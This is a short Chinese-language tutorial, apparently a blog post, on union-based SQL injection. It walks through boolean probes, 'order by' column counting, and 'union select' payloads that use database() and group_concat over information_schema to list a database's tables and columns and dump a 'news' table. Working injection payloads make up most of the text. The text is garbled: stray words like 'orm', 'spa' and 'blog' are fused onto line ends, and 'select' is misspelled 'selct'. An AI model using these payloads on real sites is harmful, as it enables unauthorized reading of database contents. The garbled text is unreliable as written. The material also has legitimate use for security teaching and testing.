1、sql注入漏洞sql
是當咱們的Web app在向後臺數據庫傳遞SQL語句進行數據庫操做時,若是對用戶輸入的參數沒有通過嚴格的過濾處理,那麼惡意訪問者就能夠構造特殊的SQL語句,直接輸入數據庫引擎執行,獲取或修改數據庫中的數據。數據庫
2、如何進行sql注入?app
一、判斷是否存在sql注入spa
and 1=1 返回正確orm
and 1=2 返回錯誤blog
二、猜出字段數it
order by x(數字)io
三、猜出字段位(必須與內部字段數一致)table
and 1=2 form
union selct 1,2,3
四、猜數據庫名
union select 1,database(),3
五、聯合查詢(group_concat()) 點表明下一級
猜出當前數據庫pentest中全部的表名。
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pentest' 或
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
六、猜列名
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='news'
七、猜數據
union select 1,group_concat(id,title,content),3 from news